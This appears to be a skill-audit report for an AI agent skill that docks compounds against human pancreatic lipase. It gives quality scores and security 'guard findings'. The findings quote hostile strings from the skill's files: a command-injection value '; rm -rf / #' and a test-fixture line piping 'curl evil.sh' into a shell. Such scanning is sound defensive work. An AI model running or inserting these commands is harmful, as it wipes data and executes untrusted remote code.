FD pancreatic-lipase-pro-docking
Docks small molecules against human pancreatic lipase (PDB 1LPB, lipase+colipase+Ca2+) across 5 validated sites with AutoDock Vina — pH 7.4 protonation, tautomer/stereoisomer enumeration, multi-seed consensus, native re-dock RMSD gate, and calibration drift detection. Runs locally or on free Kaggle CPU kernels. Use when the user asks to dock, screen, or rank compounds against pancreatic lipase, PNLIP, hPL, or for anti-obesity/lipase-inhibitor virtual screening.
Docks small molecules against human pancreatic lipase (PDB 1LPB, lipase+colipase+Ca2+) across 5 validated sites with AutoDock Vina — pH 7.4 protonation…
As a process D 46/100 · Unfinished process — weak spots: result and completion, inputs and preconditions, failures and branches
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Remove the critical guard findings (secrets, dangerous commands, hidden instructions): while they stand the skill is blocked and cannot grade above F.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 5
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critical Dangerous commands
cmd-destructive-fsCHANGELOG.md:40Destructive filesystem command (wipes root/home/drive) (quoted — discussed, not commanded)shell=True)`, so `--extra "; rm -rf / #"` would have executed inside the
quoted -
high Dangerous commands
cmd-destructive-fsscripts/kaggle_dock.py:63Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed)`; rm -rf / #` and — before the shell=False fix — have it executed in the
code literal
Medium and low: 3
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medium Dangerous commands
cmd-shell-rcdocking_professional_stack/Dockerfile:11Writes to a shell startup fileRUN echo "micromamba activate pro-docking-full" >> ~/.bashrc
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medium Dangerous commands
cmd-destructive-fsdocking_professional_stack/tests/test_v101.py:175Destructive filesystem command (wipes root/home/drive) (string literal in code, not executed; code comment; test fixture / example file)# --extra interpolated into the string, so `--extra "; rm -rf / #"` executed
code literalcommentfixture -
low Dangerous commands
cmd-pipe-to-shelldocking_professional_stack/tests/test_v101.py:180Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed; test fixture / example file)"&& curl evil.sh | sh",
code literalfixture
Files scanned: 70. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- note
frontmatter-keyunknown frontmatter key "categories" - note
frontmatter-keyunknown frontmatter key "topics" - note
frontmatter-keyunknown frontmatter key "type"
Process rating: all ten parameters 46/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 0Progress reporting. Says nothing while it works
- 30Running it twice. 3 mutating operations with no state check
- 50Steps. 2 steps
- 60Tools and files. Uses tools (bash, python) that frontmatter does not declare
- 100When it triggers. States when to use and when not to
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 1517 tokens
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3No numbered steps or checklist
- +3Output format is not stated: the model decides each time
- +2Single-language instructions
- +3Description length 465: enough signal without eating the budget
- +4Structure: 9 headings
- +4Has examples (2 code blocks)
- +4Reference files are cited in the instructions (4 of 4)
- +3All 2 scripts are documented
- +1License stated
Quality base 70; lint remarks subtract, signals add up to 100. Result: 86.